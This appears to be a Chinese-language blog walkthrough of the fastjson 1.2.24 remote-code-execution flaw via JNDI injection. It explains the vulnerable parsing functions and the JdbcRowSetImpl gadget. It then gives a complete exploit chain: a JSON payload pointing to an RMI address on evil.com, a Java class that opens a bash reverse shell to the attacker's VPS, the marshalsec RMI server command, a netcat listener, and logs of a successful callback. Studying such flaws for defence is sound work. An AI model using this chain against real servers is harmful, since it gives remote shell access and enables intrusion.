fastjson-1.2.24-RCE

2 minute read

Fastjson-1.2.24-RCE

0x00 漏洞概述

fastjson是一个由阿里巴巴开发的Java库,用于处理json数据。fastjson在17年的1.2.24版本首次爆出了一个RCE漏洞,原理是jndi注入。很快阿里发布了新的版本1.2.25,通过checkAutoType()这个函数来防御这个漏洞。

后来针对checkAutoType()这个函数,出现了一系列的绕过手段以及修复补丁。

0x01 漏洞原理

fastjson RCE关键函数

DefaultJSONParser. parseObject()  #解析传入的 json 字符串提取不同的 key 进行后续的处理
TypeUtils. loadClass() #根据传入的类名生成类的实例
JavaBeanDeserializer. Deserialze() #依次调用 @type 中传入类的对象公有 set\get\is 方法
ParserConfig. checkAutoType() #阿里后续添加的防护函数用于在 loadclass 前检查传入的类是否合法

Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/",
        "autoCommit":true
    }
}

该Payload有效的原理是:fastjson 在处理以@type形式传入的类的时候,会默认调用该类的共有 set\get\is 函数,因此我们在寻找利用类的时候思路如下:

1、类的成员变量我们可以控制;

2、想办法在调用类的某个set\get\is函数的时候造成命令执行。

于是便找到了 JdbcRowSetImpl 类,该类在 setAutoCommit 函数中会对成员变量 dataSourceName 进行 lookup,标准的 jndi注入利用。

0x03 环境搭建

(ps:漏洞环境搭建、http服务、rmi服务都是在vps上面起的)

0x04 Exploit

先起一个http服务,内容是用javac命令编译reverse.java后的reverse.class文件

//reverse.java 
//执行反弹shell命令
import java.lang.Runtime;
import java.lang.Process;

public class reverse {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/{vps_ip}/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
python3 -m http.server 80

然后用marshalsec工具起一个rmi服务,这个服务需要借助刚刚搭建的http服务上的.class文件,端口就用8888

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{vps_ip}/#reverse" 8888

https://github.com/mbechler/marshalsec

对了,这个工具需要java8,所以别忘了提前装好jdk8,并切换到java8

update-alternatives --config java

当rmi服务搭建好的时候就可以用payload来进行攻击了,先用nc -lvp 2333监听.class文件对应的反弹shell端口,然后发送payload

#RMI server recall
Have connection from /172.21.0.2:33922
Reading message...
Is RMI.lookup call for 1 2
Sending remote classloading stub targeting http://{vps_ip}/reverse.class
Closing connection
#HTTP server recall
172.21.0.2 - - [10/Apr/2024 02:45:49] "GET /reverse.class HTTP/1.1" 200